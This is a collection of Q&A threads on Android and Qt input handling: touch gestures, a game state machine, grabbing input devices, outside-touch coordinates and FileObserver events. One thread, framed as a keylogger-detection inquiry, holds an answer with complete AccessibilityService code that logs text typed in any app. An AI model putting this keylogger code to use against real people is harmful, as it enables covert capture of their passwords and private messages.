Context: I'm trying to create a fader-like widget that can have multiple instances in the same view, each of which can be controlled simultaneously by different fingers.
I want to use Qt's gesture recognition system, but I also need some functionality above and beyond the standard Qt::PanGesture. To this end, I've subclassed both QGesture and QGestureRecognizer. In FooGestureRecognizer::recognize(...), I'm currently intercepting both QMouseEvents and QTouchEvents (for the time being, at least).
On Windows I only receive QMouseEvents - I handle them and everything works as expected (though obviously I don't have to deal with the multitouch problem when my input is from a physical mouse). The events I receive (in order):
QEvent::MouseButtonPress
A string of QEvent::MouseMoves
QEvent::MouseButtonRelease
On Android, I receive a strange mix of QMouseEvents and QTouchEvents (in order):
QEvent::TouchBegin
QEvent::MouseButtonPress
QEvent::MouseMove (with no actual change in position)
Another QEvent::MouseButtonPress (not sure why I needed another one)
My actual string of QEvent::MouseMoves, as expected
QEvent::MouseButtonRelease
The global attribute Qt::AA_SynthesizeMouseForUnhandledTouchEvents is true by default. Turning it off changes the events I receive to:
QEvent::TouchBegin
...nothing else.
Here's a precursor question then: What can I do inside QGestureRecognizer::recognize() to tell Qt that I'm handling the QEvent::TouchBegin, and that it doesn't need to synthesize a QEvent::MouseButtonPress for me? event->accept() doesn't appear to make any difference.
The actual question: If (as it appears) Qt is synthesizing MouseEvents from TouchEvents, why do I see I see QEvent::MouseMove and QEvent::MouseButtonRelease but not QEvent::TouchUpdate or QEvent::TouchRelease?
Code is available, but in the interests of conciseness I've not included it here. Please ask if needed.
From the QTouchEvent docs:
The QEvent::TouchUpdate and QEvent::TouchEnd events are sent to the widget or item that accepted the QEvent::TouchBegin event. If the QEvent::TouchBegin event is not accepted and not filtered by an event filter, then no further touch events are sent until the next QEvent::TouchBegin.
The root of this problem is that QGestureRecognizer does not accept the initial TouchBegin, and hence we don't receive any further touch events. I got around this by:
Creating a thin event filter QObject owned by my QGestureRecognizer.
Containing the following code:
bool FooGestureRecognizer::FooEventFilter::eventFilter(QObject *Object, QEvent *Event)
{
if(Event->type() == QEvent::TouchBegin)
{
return true;
}
else
{
return QObject::eventFilter(Object, Event);
}
}
Installing my event filter AND calling setAttribute(Qt::WA_AcceptTouchEvents) on every valid* Target that comes through FooGestureRecognizer::create().
Returning true from eventFilter tells Qt that my fader is interested in receiving further touch events, and these touch events are delivered as expected to the gesture recognizer.
This solution feels like a hack, and one that might not be necessary in future versions of Qt, so I'm going to keep an eye on this code.
Notes:
During the construction of a QGestureRecognizer, create() is called with a null Target (expecting a dummy QGesture to be returned). Watch out for this if you're installing event filters on all Targets.
My application needs to handle desktop mouse events in one way, and multi-finger touch events in another, so I've disabled Qt::AA_SynthesizeMouseForUnhandledTouchEvents. Keeping this enabled may lead to other considerations (e.g. I'm not sure if you'd need to return true for all touch events in eventFilter, so as to avoid them being duplicated as synthesised mouse events).
Related
I am trying to implement a State Machine into my Android game (note that it is not a game that needs to be constantly redrawn with a UI as it just works using standard Android Activity structure). I have found this example below of how you can implement a State Machine with a switch statement:
main() {
while(true) {
collectInput(); // deal with common code for filling in keyboard queues, determining mouse positions, etc.
preBookKeeping(); // do any other work that needs constant ticks, like updating streaming/sound/physics/networking receives, etc.
runLogic(); // see below
postBookKeeping(); // again any stuff that needs ticking, but would want to take into account what happened in runLogic this frame, e.g. animation/particles/networking transmit, etc
drawEverything(); // any actual rendering actions you need to take
}
}
runLogic() {
// this is where you actually have a state machine
switch (state) {
case WaitingForInput:
// look at the collected input and see if any of it is actionable
case WaitingForOpponent:
// look at the input and warn the player that they are doing stuff that isn't going to work right now e.g. a "It's not your turn!" notification.
// otherwise, use input to do things that might be valid when it's not the player's turn, like pan around the map.
case etc:
// a real game would have a ton more actual states, including transition states, start/end/options screens, etc.
}
}
Whilst transitioning my game from the loop below to the State Machine, I am having issues. If say from this main game Activity, I launch another Activity in order to ask the player a question (happens inside playTurn()), I will then obviously utilise onActivityResult() and return the player's answer to the main game Activity. How should I handle the return of the player's answer and allow the code to then continue running in playTurn(), inside the main playGame() loop, without breaking the while loop flow? The only way I actually can figure out is by utilising a while loop inside playTurn() that simply keeps looping whilst the answer is 0 but that seems horrifically wasteful. Thanks in advance, any help is appreciated!
public void playGame() {
initialise();
boolean finished = false;
while (!finished) {
playTurn();
// Check if there is a winner after each turn is played
boolean winner = winner();
if (winner) {
finished = true;
}
}
}
Intro: I want to create a POC on Android Security which requires to identify if there is any KeyLogger running on Android device or not. And if it is running or installed on device then, disable it throughout my Android application.
Queries:
1.) Is this possible to create Android keyloggers which intercepts keyboard events and running in background as services?
2.) Is this possible to identify if any of the background process handelling keyboard events?
3.) Can I stop any other background service (not owned by me) by my application code?
Please help me with suitable links if you have.
I know this question already has an accepted answer but I disagree with the accepted answer!
This can be done in android via the accessibility APIs.
Take a look at the below program :
Type Machine
It uses the accessibility APIs, and correctly stores every key stroke you type in any application which is essentially what a key logger does!
EDIT : I am not exactly sure what TypeMachine uses but you should be able to get the text from accessibility service using this method.
For Example, the following code can be used to get a new text:
void onViewTextChanged(AccessibilityEvent accessibilityEvent, AccessibilityNodeInfo accessibilityNodeInfo) {
List text = accessibilityEvent.getText();
CharSequence latestText = (CharSequence) text.get(0);
Log.i(MY_TAG, latestText.toString());
}
As a follow up on #ananth's answer, here is a complete code example on how to implement a keylogger using Accessibility Service.
But, this requires permissions to bind your Service with the system and also the user has to explicitly turn on the Service you create by navigating to Settings>Accessibility>{Your app name} on Android devices. So, if you have evil intensions, good luck with that.
Step 1: Paste this in your manifest file.
<application>
...
<service android:name=".MyAccessibilityService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
</service>
</application>
Step 2: Create a class for your Accessibility Service.
public class MyAccessibilityService extends AccessibilityService {
#Override
public void onAccessibilityEvent(AccessibilityEvent event) {
final int eventType = event.getEventType();
String eventText = null;
switch(eventType) {
/*
You can use catch other events like touch and focus
case AccessibilityEvent.TYPE_VIEW_CLICKED:
eventText = "Clicked: ";
break;
case AccessibilityEvent.TYPE_VIEW_FOCUSED:
eventText = "Focused: ";
break;
*/
case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED:
eventText = "Typed: ";
break;
}
eventText = eventText + event.getText();
//print the typed text in the console. Or do anything you want here.
System.out.println("ACCESSIBILITY SERVICE : "+eventText);
}
#Override
public void onInterrupt() {
//whatever
}
#Override
public void onServiceConnected() {
//configure our Accessibility service
AccessibilityServiceInfo info=getServiceInfo();
info.eventTypes = AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED;
info.feedbackType = AccessibilityServiceInfo.FEEDBACK_SPOKEN;
info.notificationTimeout = 100;
this.setServiceInfo(info);
}
}
That's it. Now, everything the user types in any app on their phone will be logged to the console. You can configure the above class to listen to the keystrokes from certain specified apps only if you want to. The above class is independent of your MainActivity. The service will get registered as soon as your app is installed. But, again, in order to work, this requires manual toggling of settings as mentioned previously.
Read the docs for detailed explanation on what Accessibility is and details on each of the classes and methods used above.
After research for 1 whole day I reached at below conclusion.
Android does not allow you to intercepts default soft keyboard inputs from background services. The only way to intercepts these events are custom keyboards.
I have summarized it as follows:
In Android Key logging for keyboard events is not supported in background services. Some of the links are as follows:
Point 1: Google Android Developer
As soft input methods can use multiple and inventive ways of inputting text, there is no guarantee that any key press on a soft keyboard will generate a key event: this is left to the IME's discretion, and in fact sending such events is discouraged. You should never rely on receiving KeyEvents for any key on a soft input method. In particular, the default software keyboard will never send any key event to any application targetting Jelly Bean or later, and will only send events for some presses of the delete and return keys to applications targetting Ice Cream Sandwich or earlier.
http://developer.android.com/reference/android/view/KeyEvent.html
Android Jelly Bean is: 4.1 to 4.3.1
Android IceCream Sandwich: 4.0
Key presses on soft input methods are not required to trigger the methods in this listener, and are in fact discouraged to do so. The default android keyboard will not trigger these for any key to any application targetting Jelly Bean or later, and will only deliver it for some key presses to applications targetting Ice Cream Sandwich or earlier.
http://developer.android.com/reference/android/text/method/KeyListener.html
Point 2: Stack Overflow
KeyEvents can only be handled by Activities as they are the interface to the user pressing the keys and only when they are in the foreground. Even Services that run in the background are not intended to react on user input.
Android - Listener for hard keys press at background
Is it possible to create an Android Service that listens for hardware key presses?
Point 3: Romain Guy
Romain Guy (https://stackoverflow.com/users/298575/romain-guy) who works for Google also confirms it
onKeyDown in a service? (Global Hot Keys)
Point 4: Some Other reference:
Google android-developers Group : https://groups.google.com/forum/#!topic/android-developers/o--GUWmqXdI
It can be done only by using Custom KeyBoard: get pressed key and throw another key in android
Please add your comments if you think that I have missed anything.
I am developing an android IME for joysticks. It consists of a Thread that is constantly listening events from a specific device, and then if some conditions are true decides to do something. Is there a way to exclusively bind input events from this device to my IME, so that they won't propagate to applications?
I tried using ioctl(fd,EVIOCGRAB,1) inside a native library to take exclusive control of my device but it doesn't seem to work.
Update: EVIOCGRAB works fine and that's how I solved the problem!
For who's interested I finally found the way to do it:
use this on your "source" device (it is native code that you can use together with libEventInjector):
int fd = open("/dev/input/eventX", O_RDONLY);
if(fd<0) return;
if(ioctl(fd,EVIOCGRAB,1) <0) return;
if everything goes ok the library will have exclusive access to the device, now in your IME start a thread that keeps reading /dev/input/eventX so that you can read the events but they won't propagate to elsewhere.
UPDATE: EVIOCGRAB gives exclusive control only to an instance of a function of your Java class. The best way to intercept events without blocking the device when you close your program is this:
public class Class extends Thread{
boolean running = true;
public void run(){
mySourceDevice.getExclControl();
while(running){
}
mySourceDevice.releaseExclControl();
}
public void interrupt(){
runing=false;
super.interrupt();
}
}
I created a TYPE_SYSTEM_ALERT view, set the flags FLAG_NOT_TOUCH_MODAL and FLAG_WATCH_OUTSIDE_TOUCH, and added it with WindowManager.addView().
When I touch outside of the view onto my own activity, everything works and MotionEvent.getY() returns the correct value.
However, if I exit my activity and and touch onto another application, MotionEvent.getY() always returns 0.
I'm not sure if this only happens on 4.2 or not.
Any help would be appreciated!
It's unfortunate that this question has remained unanswered for 1.5 years, but I ran into the same thing you did and found out why!
After scouring the source code, I found the source of the issue:
https://github.com/android/platform_frameworks_base/blob/79e0206ef3203a1842949242e58fa8f3c25eb129/services/input/InputDispatcher.cpp#L1417
// Check whether windows listening for outside touches are owned by the same UID. If it is
// set the policy flag that we will not reveal coordinate information to this window.
if (maskedAction == AMOTION_EVENT_ACTION_DOWN) {
sp<InputWindowHandle> foregroundWindowHandle =
mTempTouchState.getFirstForegroundWindowHandle();
const int32_t foregroundWindowUid = foregroundWindowHandle->getInfo()->ownerUid;
for (size_t i = 0; i < mTempTouchState.windows.size(); i++) {
const TouchedWindow& touchedWindow = mTempTouchState.windows[i];
if (touchedWindow.targetFlags & InputTarget::FLAG_DISPATCH_AS_OUTSIDE) {
sp<InputWindowHandle> inputWindowHandle = touchedWindow.windowHandle;
if (inputWindowHandle->getInfo()->ownerUid != foregroundWindowUid) {
mTempTouchState.addOrUpdateWindow(inputWindowHandle,
InputTarget::FLAG_ZERO_COORDS, BitSet32(0));
}
}
}
}
If the "outside touch" lands in a view that doesn't share its UID (read about it here) with the view that's listening for outside touches, the event dispatcher sets its coordinates to 0,0. This was definitely done for security purposes, but I'm not sure I see the full scope of the threat it's designed to mitigate. And this gentleman here (SO) reports that you can retrieve location data on 2.3.6, but it seems that at least 4.x won't reveal it to you (I tried 4.1.2, it didn't work).
I opened up a bug ticket about this if you'd like to follow it. At the very least, the documentation needs to include this information... I would also like to know if this security feature is really necessary.
Issue 72746: FLAG_WATCH_OUTSIDE_TOUCH doesn't return location for ACTION_OUTSIDE events on 4.2+
My code listens to the DCIM folder, using a FileObserver.
All Android versions I used, except 4.1.1, sent only 1 event - when the video was finished taken.
I think it's the correct behavior - write continually and close when finished.
In 4.1.1 (Galaxy Nexus and Nexus S) though, the event FileObserver.CLOSE_WRITE is sent
twice - when the video starts and when it ends.
Also the same for photos - the event is sent twice - though it's not that critical.
The problem is that I can't distinguish between the start event and end event of a video.
I could try and check the size of the file, but because the event may have been delayed (slow/busy device), the size may be quite big.
Any idea why was the behavior changed? Do you know where is the camera's app source code? I can try and look at the history to understand that.
As I wrote in one of my comments, the difference between 4.1 and previous Android versions is that in 4.1.1, the file is written and closed twice. Once when an empty video file is created. Then the video is written into a tmp file. Then the rename/copy of the tmp file is the second write_close event.
In previous versions there's not tmp file - only the original - thus only one close_write event.
Please comment if you think it's a bug. I'm not sure.
I have myself an app which monitors the DCIM/Camera directory through a FileObserver. What I noticed, and could be of help to you, is that the first operation is a CLOSE_WRITE, however the final operation is a MOVED_TO from the .tmp to the real file, which means you can recognize when the video is (really) ready.
My real code is more complex due to the requirements of my app, but the general idea is something like this:
/* My FileObserver implementation field */
private HashSet<String> jbCache = new HashSet(...)
...
protected void onEvent(int event, String path) {
boolean isJellyBean = Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLYBEAN;
if ((event & FileObserver.CLOSE_WRITE) > 0) {
if (isJellyBean) {
jbCache.add(path);
} else {
performYourWork(path);
}
} else if ((event & FileObserver.MOVED_TO) > 0 && isJellyBean && jbCache.contains(path)) {
performYourWork(path);
jbCache.remove(path);
}
}
You have to listen to both CLOSE_WRITE and MOVED_TO when you register the events you want to catch, obviously.
Although I starred your bug, I doubt Google will ever acknowledge it, as it looks like there could be some (disagreeable) reasoning behind the change. The Camera app is mostly a no-standard crap anyway (e.g.: fake DCIM standard compliance)